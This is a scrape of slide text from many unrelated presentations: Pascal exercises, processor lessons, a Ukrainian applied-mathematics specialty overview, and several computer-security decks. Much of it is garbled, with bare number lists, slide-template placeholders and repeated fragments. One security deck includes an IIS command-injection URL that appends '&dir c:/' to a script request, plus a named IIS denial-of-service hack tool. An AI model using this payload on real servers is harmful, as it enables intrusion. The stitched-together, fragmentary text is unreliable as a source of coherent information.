              F:=Sqrt(p*(p-a)*(p-b)*(p-c));
         end;
begin
     readln (AB,BC,CD,DA,AC);
     S1:=f(AB,BC,AC);
     S2:=f(CD,DA,AC);
     s:=S1+S2;
     writeln (S:8:2);
     Writeln (f(AB,BC,AC)+ f(CD,DA,AC):8:2);
     readln;
end.


title: Презентация на тему: Процедурно-ориентированное программирование

text:
Algorithm
Flow chart
Module
Procedure
Procedure decomposition
Procedure programming

Modular programming
Structured programming

Nickname: "The Mad Professor"
START
Q, D, N
D_RAZ=1+D/100
J = 1
Q=Q*D_RAZ
J, Q
J=J+1
J<=N ?
END


title: Презентация на тему: Признаки предметов

text:
2
7
6
4
1
5
8
3
9
0
0


title: Презентация на тему: Проблемы обеспечения безопасности приложений. Переполнение стека. Сетевой сканер Nessus

text:
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Draft - 2.05.98
local[2]
local[1]
local[0]
[100]
local
strcpy(local, arg)
[100]
local
strcpy(local, arg)
HTTP/1.0
HTTP/1.1
RunMe.hta
HACKER
IIS
Windows NT Server
200.0.0.123
200.0.0.126
C:\ HackTools \ iisdos.exe
CVE: CAN-2000-0886
HTTP

 http://site/scripts/test.bat"+&+dir+c:/+.com
C:\dir
HTTP

 http://site/scripts/test.bat+.htr

HACKER
200.2.2.6
200.2.2.5
HTTP
DMZ-1
DMZ-2
ID
DMZ-1
DMZ-2
DMZ-1
DMZ-2


Презентация на тему: Проценты в истории и задачах


Презентация на тему: Проблемы формирования информационного общества


title: Презентация на тему: Проблемы компьютерной безопасности: тактика и контрмеры

text:
Работа рыженко Елены Владимировны, учителя информатики и математики мбоу г. Астрахани «Сош № 64»

Проблемы
компьютерной
безопасности: тактика
и контрмеры.

Как защитить информацию и дать возможность использовать ее по назначению и вовремя? Решение этого вопроса было и до сих пор остается одной из самых актуальных задач.
Введение.«Информация – это кислород современной эпохи. Она проходит сквозь заборы, обвитые колючей проволокой, и ей нипочем границы, обозначенные высоковольтными проводами».Рональд Рейган.
???
???
???
Совокупность факторов, представляющих опасность для функционирования информационной среды, называют информационными угрозами.

Противоправные воздействия на информационную среду могут наносить ущерб интересам человека и общества, поэтому одной из задач информатизации является обеспечение информационной безопасности.

защита национальных интересов;
обеспечение человека и общества достоверной и полной информацией;
правовая защита человека и общества при получении, распространении и использовании информации.

 Основными целями обеспечения информационной безопасности общества являются:
Тайные проникновения классифицируют как:
Физические проникновения – взлом помещения, где мы не имеем права находиться.
Сетевые проникновения.
Запланированные  проникновения.
Случайные проникновения (при благоприятном стечении обстоятельств).
Санкционированные правительством проникновения.

Глава 1. Тайные проникновения.                    «Я работаю по ночам».                               Агент ФБР.
Одна из главных ошибок состоит в поддержке сетевых мер защиты информации при отсутствии должных мер безопасности против физического проникновения.

Контрмеры.
Контроль доступа различных лиц (пропуска, жетоны, биометрические сканеры).
Электронные системы безопасности (датчики перемещения, электромагнитные детекторы, детекторы давления).
Архитектурные особенности здания (бронированные двери, продуманная прокладка кабелей, узкие вентиляционные каналы и т.д.).
Охранники.
Освещение.
Замки.
Защитные барьеры.

Меры физической безопасности можно разделить на:
Политика безопасности – четкий, структурированный и исчерпывающий набор правил и практических мер, связанных с защитой информации.

Перед тем как начать использование уязвимых мест на внешних уровнях компьютерной защиты, необходимо определить характеристики компьютера, с которым придется работать.

Глава 2. Проникновение в систему. «И когда обрушается стены…»        Деф Лепард          исполнитель «тяжелого металла» «Когда обрушается стены».
Тип Bios.
Тип операционной системы.
Пароль Bios.
Запасные пароли.
Извлечение жесткого диска.
Обнуление CMOS.
ЭСКАЛАЦИЯ ПРИВЕЛЕГИЙ.
МЕНЕДЖЕР УЧЕТНЫХ ЗАПИСЕЙ В СИСТЕМЕ ЗАЩИТЫ.
Слабые места:
Перед тем как изменять какие-либо настройки операционной системы, убедитесь в том, что для вашей версии Windows установлены все текущие пакеты обновления, включая свежие «заплаты» системы безопасности. Своевременное обновление системы уменьшает шансы злоумышленников на успешное проведение локальных или удаленных атак.

Контрмеры.
Keylogger, или средство мониторинга клавиатуры,- это такое программное или аппаратное обеспечение, которое позволяет запоминать последовательность клавиш.
Глава 3. Мониторинг клавиатуры.«Я никогда не печатаю на пишущей машинке, мой друг».The Posies, «Farewell, Typewriter», Success.
Узнать пароль;
Получить конфиденциальную информацию;
Найти доказательства незаконной деятельности.

Анализируя эту последовательность можно:
Локально – для установки программы Keylogger понадобится 1-5 минут при наличии физического доступа к целевому компьютеру.
Удаленно – можно отослать электронную почту с «троянским конем», содержащую программу Keylogger.

Использовать Keylogger можно 2-мя способами:
Наилучшая контрмера – обеспечение физической безопасности рабочего места и безопасность в работе с сетью.

Когда заходит речь о защите информации, принимают во внимание два фактора, способных ввести пользователя в заблуждение о надежности защиты данных:
использование нестойких алгоритмов шифрования,   которые легко взломать;
ненадёжность пароля, который легко угадать,
причём оба фактора тесно взаимосвязаны.
Глава 4. Взлом защищенных данных.
Стойкое шифрование.
Политика паролей.
Альтернативы паролю.
Смарт-карты.
Распознавание символов.
Контрмеры.
«Троянский конь» обозначает внешне безобидное приложение, внутри которого на самом деле спрятан враждебный программный код. Троянский конь может быть в игре, почтовом вложении или даже на веб-странице.
Глава 5. «Троянские кони»«Я въезжаю в ваш город на большом черном троянском коне»The Cure, «Club America», Wild Mood Swings
Приложения, предназначенные для локального доступа к системе.
Приложения, предназначенные для вредительских действий.
Приложения, предназначенные для удаленного доступа к системе.
Троянских коней делят на 3 группы:
Анализ сетевых подключений.
Использование брандмауэров
Мониторинг сетевого трафика.
Использование мониторов реестра и программ проверки целостности файлов.
Использование антивирусного программного обеспечения
Использование  специального ПО для обнаружения троянских коней.
Контрмеры.
Многие люди уделяют внимание исключительно обеспечению сетевой безопасности, напрочь забывая о должных мерах физической безопасности, отсутствие которых позволяет шпионам легко проникать в само здание и похищать конфиденциальную информацию.
Заключение.
Первыми линиями обороны на пути шпиона, получившего физический доступ к компьютеру, являются защита при помощи пароля BIOS и авторизация пользователя при входе в систему.

Информация и доказательства, которые кажутся защищенными, на самом деле не всегда оказываются таковыми. Нестойкие алгоритмы шифрования и ненадежные пароли – верная лазейка для шпиона, стремящегося взломать защищенные данные при помощи различных широко распространенных и простых в использовании утилит.

Троянские кони являются весьма эффективным средством компьютерного шпионажа, в особенности против неосведомленных и неподготовленных лиц. Большинство атак с использованием троянских коней осуществляется при помощи вложений электронной почты, веб-страниц либо загружаемых пользователем модифицированных приложений, содержащих код троянского коня, обеспечивающего тайный вход для шпиона.

Информатика и ИКТ. Учебник.11 класс. Базовый уровень/Под.ред.проф.Н.В.Макаровой.-СПб.:Питер,2008.
Угринович Н.Д. Информатика и информационные технологии. Учебник для 10-11 классов.-Москва.:БИНОМ. Лаборатория знаний,2003.
Макнамара Д. Секреты  компьютерного шпионажа: Тактика и контрмеры. - Москва.:  БИНОМ. Лаборатория знаний.2006.
Информатика. Учебное пособие для среднего профессионального образования./ Под общ. Ред. И. А. Черноскутовой – СПб. : Питер, 2005.
Новиков Ю., Черепанов А. Персональные компьютеры: аппаратура, системы, Интернет. Учебный курс. – СПб.: Питер, 2001.

Список использованной литературы.


title: Презентация на тему: Процесори та мікроконтролери

text:
Презентація на технічну конференцію
Діапазон застосування мікропроцесорної техніки зараз дуже широкий, вимоги до мікропроцесорних систем дуже різноманітні. Тому сформувалося кілька типів мікропроцесорних систем, що відрізняються потужністю, універсальністю, швидкодією і структурними відмінностями.
Використання мікропроцесорів та мікроконтролерів в інтелектуальних інтегрованих системах
мікроконтролери - найпростіший тип мікропроцесорних систем, у яких усі або більшість вузлів системи виконані у виді однієї мікросхеми;
контролери - керуючі мікропроцесорні системи, що виконані у виді окремих модулів;
мікрокомп'ютери - потужніші мікропроцесорні системи з розвинутими засобами сполучення з зовнішніми пристроями.
комп'ютери (у тому числі персональні) - самі потужні і найуніверсальніші мікропроцесорні системи.

Основні типи мікропроцесорних систем
Мікроконтролери
Мікроконтролери є універсальними пристроями, які практично завжди використовуються не самі по собі, а в складі більш складних пристроїв, у тому числі і контролерів. Системна шина мікроконтролера схована від користувача усередині мікросхеми. Можливості підключення зовнішніх пристроїв до мікроконтролера обмежені. Пристрої на мікроконтролерах зазвичай призначені для рішення однієї задачі.
Мікропроцесор
Мікропроце́сор (англ. microprocessor) — інтегральна схема, яка виконує функції центрального процесора (ЦП) або спеціалізованого процесора. Сьогодні слово мікропроцесор є практично повним синонімом слова процесор, оскільки функціональний блок, що на ранніх стадіях розвитку обчислювальної техніки займали цілу плату чи навіть шафу, тепер вміщається в одну невеличку інтегральну схему із сотнями мільйонів транзисторів всередині.
Монітор реального часу, як новітня технологія
Монітор реального часу призначений для запуску на АРМ (автоматизованих робочих місцях) операторів з метою супервізорного контролю та управління ТП.
До складу Монітору реального часу входить графічна HMI - консоль , що забезпечує візуалізацію інформації про технологічний процес на динамічних мнемосхемах .
За допомогою МРЧ можливо здійснювати ON LINE редагування проекту ( додавати або змінювати форми відображення інформації, не перериваючи роботи в реальному часі) .
Задачі що виконує монітор реального часу
запит даних про стан технологічного процесу з контролерів нижнього рівня за будь-яким із вбудованих протоколів або через драйвер;
передача на нижній рівень команд управління за будь-яким із вбудованих протоколів або через драйвер;
збереження даних в архівах;
обмін по мережі з віддаленими МРЧ;
передача даних по мережі на наступний рівень АСУ;
представлення оператору графічної інформації про стан технологічного процесу;
автоматичне та супервізорне управління ТП.

Графічні можливості монітору реального часу
 фотореалістична об'ємна графіка;
 підтримка " прозорості " фігур і накладення текстур ; підтримка графічних шарів;
 масштабування екранів ;
 технологія 3D FAST + прискорює завантаження графічних екранів в реальному часі;
 можливість динамізації будь-якого графічного об'єкта;
 мультиплікація ;
 тренди реального часу;
 історичні тренди необмеженої глибини;
 вікна подій .


title: Презентация на тему: Прикладная математика

text:
Спеціальність “Прикладна математика” Горлівського технікуму Донецького національного університету
Історія Горлівського технікуму Донецького національного університету
	Горлівський технікум Донецького національного університету найстаріший навчальний  заклад  м. Горлівки.  Заснований у 1877 році за наказом  царя, як штейгерська школа.
	У дореволюційний час гірниче училище випустило 1134 штейгера. Набір училища становив чотири групи. Відсів був дуже великий, тому з групи 29 осіб, закінчували училище тільки 6-10 чоловік.
	В 1924 році
перейменований в
гірничу  школу, а в
1933 році – у
 кам'яновугільний
технікум
 ім. К.А. Рум'янцева.

Історія Горлівського технікуму Донецького національного університету
	В роки після Великої Вітчизняної війни гірничий технікум  стає одним з провідних навчальних закладів Донбасу.
	У зв'язку з розширенням спеціальностей у 1961 році  перейменований в
індустріальний. У 1977 році за
досягнуті успіхи у підготовці
 фахівців для народного
господарства та у зв'язку зі
сторіччям з дня заснування
навчальний заклад
 нагороджений орденом
 "Знак Пошани".
	 	Згідно з наказом Міністерства освіти України від 20.06.97
№ 218 „Про реформування мережі вищих навчальних
закладів, підпорядкованих Mінicтepcтвy освіти” технікум
увійшов до складу Донецького національного університету.
		За роки існування закладу освіти випущено понад 26000
фахівців різних спеціальностей. У структурі технікуму два
відділення (денне, заочне), одинадцять циклових комісій,
навчальнімайстерні, бібліотека з читальним залом, навчальний
гірничий полігон, спортивні зали, музей.

Історія Горлівського технікуму Донецького національного університету
Адміністрація Горлівського технікуму Донецького національного університету
Директор Гродзинський Петро Якович

Заступник директора з навчальної роботи
Євсєєва Олена Вікторівна
Заступник директора з
виховної роботи
Синьтюк Вікторія Іванівна
Методист технікуму
Калініна Лариса Вікторівна
Завідувач відділенням
Картамишев В'ячеслав Михайлович

Завідувач відділенням
 Бражник Олена  Миколаївна

Завідувач відділенням
 Кулик Тетяна Миколаївна

Історія виникнення спеціальності

“Прикладна математика”

Спеціальність “Прикладна математика”
на базі Горлівського технікуму
Донецького національного університету
була створена у 2001 році за ініціативою адміністрації технікуму

Калоєров Стефан Олексійович
Доктор фізико-математичних наук, професор факультету математики та інформаційних технологій ДонНУ

Моісеєнко Ігор Олексійович
Кандидат фізико-математичних наук, доцент факультету математики та інформаційних технологій ДонНУ

Засновники спеціальності “Прикладна математика”
Гродзинський Петро Якович
Кандидат технічних наук, директор Горлівського технікуму ДонНУ
Загальна інформація про діяльність спеціальності
Підготовка фахівців зі спеціальності 5.04030101 “Прикладна математика” проводиться згідно з ліцензією серії  АА      № 627464  від 20.01.2004 року за видом освітньої діяльності – підготовка фахівців освітньо-кваліфікаційного рівня “Молодший спеціаліст”.
Згідно з наказом директора технікуму “Про створення циклових комісій” від 20.01.2004 року № 38/0  безпосередню навчальну підготовку студентів спеціальності  здійснює циклова комісія інформаційних технологій  та  прикладної математики.

Навчальний процес на спеціальності “Прикладна математика”забезпечується викладачами циклової комісії інформаційних дисциплін та прикладної математики

Сошина Ірина Павлівна – голова циклової комісії з 2001 по 2012 рік,
викладач інформаційних дисциплін, викладач вищої категорії (в даний час не працює на спеціальності)
Велікодна Ольга Володимирівна – голова циклової комісії з 2012 по 2014 рік, викладач математичних дисциплін, викладач вищої категорії в даний час не працює на спеціальності)

Лотоцький Олександр
Леонідович – голова
циклової комісії з 2014
року, викладач
інформаційних дисциплін,
спеціаліст вищої категорії,
викладач-методист.
Мисовський Юрій Вікторович.
кандидат фізико-математичних наук, доцент факультету математики та інформаційних технологій ДонНУ

Курносова-Юркова Олеся Олександрівна−
викладач  математичних дисциплін, кандидат економічних наук за спеціальністю "Економіка та управління підприємствами", доцент кафедри інформаційних систем в економіці.
Леверя Марина Петрівна,  викладач  інформаційних дисциплін, спеціаліст першої категорії
Остапова Людмила Василівна, викладач математичних дисциплін, спеціаліст першої категорії

СТАНДАРТ СПЕЦІАЛЬНОСТІ «ПРИКЛАДНА МАТЕМАТИКА» ГОРЛІВСЬКОГО ТЕХНІКУМУ ДОНЕЦЬКОГО НАЦІОНАЛЬНОГО УНІВЕРСИТЕТУ

Мета і задачі діяльності спеціальності “Прикладна математика”
Мета діяльності  спеціальності “Прикладна математика” забезпечення найкращіх умов, необхідних для отримання студентами неповної вищої освіти, підготовка     висококваліфікованих     фахівців     для     підприємств   України.
Задачі діяльності:
Здійснення освітньої діяльності, яка забезпечує підготовку фахівців освітньо-кваліфікаційного рівня «молодший спеціаліст» і відповідає стандартам вищої освіти;
Здійснення культурно-виховної та оздоровчої діяльності, забезпечення культурного і духовного розвитку студентів, їх виховання в дусі патріотизму і поваги до Конституції України;
Забезпечення виконання державного замовлення та угод підприємств-работодавців  на підготовку фахівців з вищою освітою;
Вивчення попиту на фахівців, підготовка яких реалізується на спеціальності і сприяння працевлаштуванню випускників.

Освітньо-кваліфікаційна характеристика випускника спеціальності “Прикладна математика”
ОСВІТНЬО-КВАЛІФІКАЦІЙНИЙ РІВЕНЬ: Молодший спеціаліст
ГАЛУЗЬ ЗНАНЬ: 0403 «Системні науки та кібернетика»
НАПРЯМ ПІДГОТОВКИ: 6.040301 «Прикладна   математика»
СПЕЦІАЛЬНІСТЬ: 5.04030101 «Прикладна математика»
ОСВІТНІЙ РІВЕНЬ: неповна вища освіта
КВАЛІФІКАЦІЯ: 3121 Технік-програміст

ПРЕДМЕТНА ГАЛУЗЬ ДІЯЛЬНОСТІ:
Участь у розробці
систем  математичного і програмного
 забезпечення розв’язку виробничих
і технічних завдань
Опис кваліфікаційного рівня молодшого спеціаліста
Знання:  широкі спеціалізовані фактологічні та теоретичні знання, набуті у процесі навчання та/або професійної діяльності, розуміння (усвідомлення) рівня цих знань.
Уміння:  розв'язання типових спеціалізованих задач широкого спектра, що передбачає ідентифікацію та використання інформації для прийняття рішень;
планування, зокрема розподіл ресурсів, аналіз, контроль та оцінювання власної роботи та роботи інших осіб.
Комунікація:  взаємодія, співробітництво з широким колом осіб (колеги, керівники, клієнти) для провадження професійної або навчальної діяльності.
Автономність і відповідальність:
здійснення обмежених управлінських функцій та прийняття рішень у звичних умовах з елементами непередбачуваності;
покращення результатів власної навчальної та/або професійної діяльності і результатів діяльності інших;
здатність до подальшого навчання з деяким рівнем автономності.

ТЕРМІН НАВЧАННЯ:
денне відділення - 3 роки 10 місяців (на базі 9-10 класів);
денне відділення – 2 роки 10 місяців (на базі 11 класів);
заочне відділення -1 рік 10 місяців (на базі професійної технічної  освіти).
ПО ЗАКІНЧЕННІ НАВЧАННЯ ВИПУСКНИКИ ОТРИМУЮТЬ ДИПЛОМИ ДЕРЖАВНОГО ЗРАЗКА
Випускник спеціальності “Прикладна математика” здатний виконувати роботу за професією і може займати наступні первинні посади:
технік-програміст
фахівець з інформаційних технологій
фахівець з розробки та тестування програмного забезпечення
фахівець з розроблення комп’ютерних програм
фахівець з комп’ютерної графіки (дизайну)

ОСНОВНІ НІПРЯМИ НАВЧАННЯ   НА СПЕЦІАЛЬНОСТІ
«ПРИКЛАДНА МАТЕМАТИКА» ГОРЛІВСЬКОГО ТЕХНІКУМУ ДОНЕЦЬКОГО НАЦІОНАЛЬНОГО УНІВЕРСИТЕТУ

МАТЕМАТИЧНІ ДИСЦИПЛІНИ
Лінійна алгебра та аналітична геометрія
Теорія ймовірності та математична статистика
Математичний аналіз
Диференційні рівняння
Дискретна математика
Теорія функції комплексної змінної
Рівняння математичної фізики
Чисельні методи
Методи оптимізації
Теорія систем і керування

ІНФОРМАЦІЙНО-ТЕХНОЛОГІЧНІ ДИСЦИПЛІНИ:

Операційні системи та системне програмування
Обчислювальні системи, мережі та комп’ютерні
    комунікації
Моделювання виробничих та економічних процесів
Інтегровані пакети прикладних програм
Алгоритмічні мови та програмування
Бази даних та інформаційні системи
Інженерна та комп’ютерна графіка
Спеціалізація з програмування
Архітектура ЕОМ

Державна атестація випускників
   Нормативною формою державної атестації випускників спеціальності “Прикладна математика” є державний комплексний  екзамен з дисциплін «Чисельні методи», «Моделювання виробничих і економічних процесів», «Алгоритмічні мови та програмування», «Бази даних та інформаційні системи».
		Діагностика якості підготовки молодших спеціалістів здійснюється державною атестаційною комісією у терміни, що передбачені навчальним планом спеціальності.

За період існування на спеціальності
«Прикладна математика»
навчались і навчаються
428 студентів у 21 групі

Найкращі студенти
спеціальності
 “Прикладна математика”
Харьковська Я.
Скоплєва Є.
Іващенко О.
Тонкошкур М.
Абакумов О.
Благодарьов О.
Дамаскіна З.
Бессонов І.
Демидюк С.
Ханіна А.
Сошина Є.
Вишнякова М.
Ягупова Ю.
Синяков П. .
Концеропятов В.
Лісоколенко А.
Дмитренко К.
Дмитренко Д.
Студенти спеціальності приймають участь в професійних олімпіадах та конкурсах різних рівнів,
серед яких виділяються наступні:
VІІ Міжнародна олімпіада “ІТ-Планета”;
Регіональна олімпіада з інформатики та комп'ютерних технологій (ст. Демидюк Станіслав, Рядненко Анна посіли І місце);
Обласна олімпіада з інформатики та комп'ютерних технологій (ст. Демидюк Станіслав, Рядненко Анна посіли І місце)
Всеукраїнська олімпіада з інформатики та  комп'ютерних технологій (ст. Демидюк Станіслав посів ІІ місце)
Науково-практичні студентські конференції регіонального та всеукраїнського рівня з інформаційних технологій

Актуальність спеціальності
“Прикладна математика”
	Існування людини у сучасному насиченому
інформаційному просторі  неможливе без знання передових
інформаційних технологій.
Розвиток інформаційних технологій неможливий без
фундаментальних знань сукупності сучасних математичних
методів аналізу та синтезу систем і процесів, а також без
володіння обчислювальною технікою на високому
професійному рівні.

 	Саме спеціальність «Прикладна  математика»
забезпечує інтегровану  підготовку
кадрів, які найбільш повно відповідають
 сучасним  уявленням щодо вимог до
спеціалістів  у фері ІТ-технологій.

	Студенти даної спеціальності отримують підготовку
високого рівня, орієнтовану на практичне застосування
математичних методів та засобів сучасних ІТ-технологій у
розв’язуванні широкого кола інженерних
задач у різних сферах діяльності: виробничій,
 економічній, екологічній, банківській і т.д.

	Протягом навчання студенти отримують фундаментальну
комп’ютерну та математичну підготовку, у поєднанні з
вмінням ставити,  аналізувати та ефективно розв’язувати
сучасні прикладні проблеми, отримують знання,
 пов’язані з обробкою та аналізом даних,
моделюванням та прогнозуванням
розвитку економічних, фізичних
та біологічних систем і процесів, у
галузі захисту інформації в,
 банківській системі, системах
електронної комерції.
		Випускники спеціальності «Прикладна математика»
зможуть успішно працювати там, де вимагається глибока
теоретична і практична підготовка з математики, вміння
максимально використовувати інтелектуальні можливості
персональних комп’ютерів і виконувати
роботу, пов’язану з математичними та
алгоритмічними методами розробки
прикладних програмних  систем
 на базі сучасних інформаційних
технологій.

Затребуваність професії IT фахівця на кінець 2014 року
Після завершення навчання на спеціальності “Прикладна математика”
студенти продовжують навчання на 3 курсі
спеціальності “Прикладна математика”
Донецького національного університету,  на 2
курсі спеціальності “Прикладна математика”
Харківського національного університету
радіоелектроніки та в інших вишах ІІІ-ІV
рівнів акредитації України
Дякуємо
за
увагу!


title: Презентация на тему: Процессор и оперативная память

text:
0
1
10
11
100
101
{


title: Презентация на тему: Процедуры и функции

text:
y
z
a
b
s
program pr2;
Uses crt;
Var a,b:integer;
       c:longint;
Function stepen(x,y:integer):longint;
 var i:integer; s:longint;
     begin
        s:=1;
        for i:=1 to y do
        s:=s*x;
        Stepen:=s;
      end;
a
b
3
3
-3
a
b
c
48

A:=b+3

B:=3*a

C:=a+b

24
5
8
c
b
0
0
c
b
d
3
0

a:=2
B:=b+1

D:=3

3
0
2
d
0
0
f:=d
f
3
c:=b-a


Презентация на тему: Процессор


text:
http://text-lands.ru/wp-content/uploads/2011/12/pentiumee_processor_front.jpg
0
1
10
11
100
101
{


title: Презентация на тему: Проблемы обеспечения безопасности сетевых

text:
NT Security Guidelines
NT Security Guidelines
NT Security Guidelines
NT Security Guidelines
NT Security Guidelines
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Draft - 2.05.98
DMZ-2
DMZ-1
TCP/IP
NetBEUI
IPX/SPX
www.sans.org
www.securityfocus.com
www.ciac.org/ciac/
www.microsoft.com/security
www.winternals.com
www.ntsecurity.com
BUGTRAQ Vulnerability Database Statistics
http://cve.mitre.org/cve
http://cve.mitre.org/cve
CAN-1999-0067
CVE-1999-0067
ISS RealSecure
Bindview
Microsoft
MS:MS01-008
Bugtraq Database
20010207 Local promotion vulnerability in NT4's NTLM Security Support Provider
ntlm-ssp-elevate-privileges(6076)
'NTLMSSP' Privilege Escalation Vulnerability
CVE-2001-0016 vulnerability in NTLM Security Support Provider
CVE
Microsoft
Bindview
ISS RealSecure
Bugtraq Database
CVE entry
CVE-2001-0016

NTLM Security Support Provider (NTLMSSP) service does not properly check the function number in an LPC request, which could allow local users to gain administrator level access.

Reference: BINDVIEW:20010207 Local promotion vulnerability in NT4's NTLM Security Support Provider
Reference: MS:MS01-008 Reference: BID:2348 Reference: XF:ntlm-ssp-elevate-privileges(6076)
local[2]
local[1]
local[0]
[100]
local
strcpy(local, arg)
[100]
local
 PGP (GnuPG)
 HTTPS
 SSH
f(t)=k*t+c
f(t)=k*t+c
f(t)=k*t+c
1
2
J
N
1
I
2
...
...
...
...
K
RW
RW
-
RWX
R
J+1
-
R
-
R-
C:\Program Files
Access Control List  (ACL)
Audit
User 1
Buchg
Administrator
RWX
---
/home/www
other
webgroup
alex
login
telnetd
rlogin
syslogd
/var/log/logins
/var/log/notice
syslog.conf
sfc [/scannow] [/scanonce] [/scanboot] [/cancel] [/quiet] [/enable] [/purgecache] [/cachesize=x]
Hive: HKEY_LOCAL_MACHINE

Key: System\CurrentControlSet\Control\\Session Manager\Memory Management

Name: ClearPageFileAtShutdown

Type: REG_DWORD

Value: 1
UNIX
Windows NT
UNIX
Windows NT
UNIX
Windows NT
C2 Config - Windows NT Resource Kit

Security Configuration Manager (SCM)

Security Configuration Tool Set
Windows NT (2000)
Passfilt.dll
NT Security Guidelines
NT Security Guidelines
NT Security Guidelines
NT Security Guidelines
NT Security Guidelines


Презентация на тему: Принципы сочетаемости цветов


title: Презентация на тему: Процессор: назначение, функции, состав

text:
06
05
04
03
02
01
0008
0007
12
0006
512
0005
27
0004
10
0003
5
0002
20
0001
010001
060002
050003
040004
020007
0007
0008
06
05
04
03
02
01
0008
0007
12
0006
512
0005
27
0004
10
0003
5
0002
20
0001
010001
040003
060004
020007
010007
030003
020008
0007
0008
06
05
04
03
02
01
0008
0007
12
0006
512
0005
27
0004
10
0003
5
0002
20
0001
010002
060003
060003
040006
020007
010007
030006
020008
010005
030008
020008
0007
0008


title: Презентация на тему: Проблемы обеспечения безопасности приложений. Сетевой сканер Nessus

text:
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Draft - 2.05.98
local[2]
local[1]
local[0]
[100]
local
strcpy(local, arg)
[100]
local
strcpy(local, arg)

HACKER
200.2.2.6
200.2.2.5
HTTP
DMZ-1
DMZ-2
ID
DMZ-1
DMZ-2
DMZ-1
DMZ-2


Презентация на тему: Процессор компьютера


text:
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Draft - 2.05.98
local[2]
local[1]
local[0]
[100]
local
strcpy(local, arg)
[100]
local
strcpy(local, arg)
Name
CAN-2003-0127 (under review)
Description
The kernel module loader in Linux kernel 2.2.x before 2.2.25, and 2.4.x before 2.4.21, allows local users to gain root privileges by using ptrace to attach to a child process that is spawned by the kernel.
DMZ-1
DMZ-2
ID
DMZ-1
DMZ-2
DMZ-1
DMZ-2


text:
DIMM
SIMM
DDR
1
0
0
1
1
1
0
0
0000
0
0
0
0
0
0
0
0
0001
1
1
1
1
1
1
1
1
0002
1
0
1
0
1
0
1
0
0003


title: Презентация на тему: Процессор

text:
900igr.net
Intel Wide Dynamic Execution
Intel Advanced Smart Cache
Intel Smart Memory Access
Intel Advanced Digital Media Boost
Intel Core
AMD K8
8-way
2-way
16-way
16-way
-
3 ALU + 2 AGU
3 ALU + 3AGU
2 (1 Load + 1 Store)
2
FADD + FMUL + FLOAD + FSTORE
FADD + FMUL + FSTORE
Itanium 2 (Montecito)
Niagara
Cell
Cell
Power Processor Element
Synergistic Processor Element


Презентация на тему: Процессоры


Презентация на тему: Процессор и системная плата


title: Презентация на тему: Процессор. Системный Блок

text:
8086
16
20
80286
16
24
80386
32
32
80486
32
32
Pentium
64
32
Pentium II
64
36
Pentium III
450-1000
64
36
Pentium IV
1000-3100
64
36
8086
16
20
80286
16
24
80386
32
32
80486
32
32
Pentium
64
32
Pentium II
64
36
Pentium III
450-1000
64
36
Pentium IV
1000-3100
64
36


title: Презентация на тему: Процессор, системная плата 10 класс

text:
PS/2
USB
Ethernet (RJ45)


text:
Процессор и оперативная память.
18 декабря 2014 г.
Процессор
Является центральным устройством компьютера и выполняет команды программы, которая хранится в оперативной памяти.
Характеристики процессора
1.Тактовая частота
количество тактов в секунду. Измеряется в МГц и Ггц.

2.Разрядность процессора
Количество двоичных разрядов, которые могут передаваться
или обрабатываться процессором одновременно.
Может быть: 8, 16, 32, 64 бита.

3.Архитектура
Используется несколько ядер.
Производительность Процессора
Производительность процессора определяется количеством выполняемых им операций сложения в секунду. Данная единица носит название флоп (flop)
Кэш-память
Быстродействие процессора больше быстродействия ОЗУ. Поэтому процессор часть времени простаивает в ожидании данных. Чтобы этого не было, в процессор встраивается кэш-память, более быстрая, чем оперативная.
Есть два уровня кэш-памяти.
Оперативная память
Модули оперативной памяти могут быть различных типов: DDR, DDR2, RIMM, DIMM и другие.

Измерение: 128, 256, 512 Мбайт, 1, 2, 4 Гбайт.
Физическая и виртуальная память
Виртуальная память – для увеличения объема оперативной памяти. Выделяется в виде файла подкачки, который размещается на жестком диске.
Логически виртуальная память – часть оперативной.
Размер файла подкачки и его размещение можно изменять.
Спасибо за внимание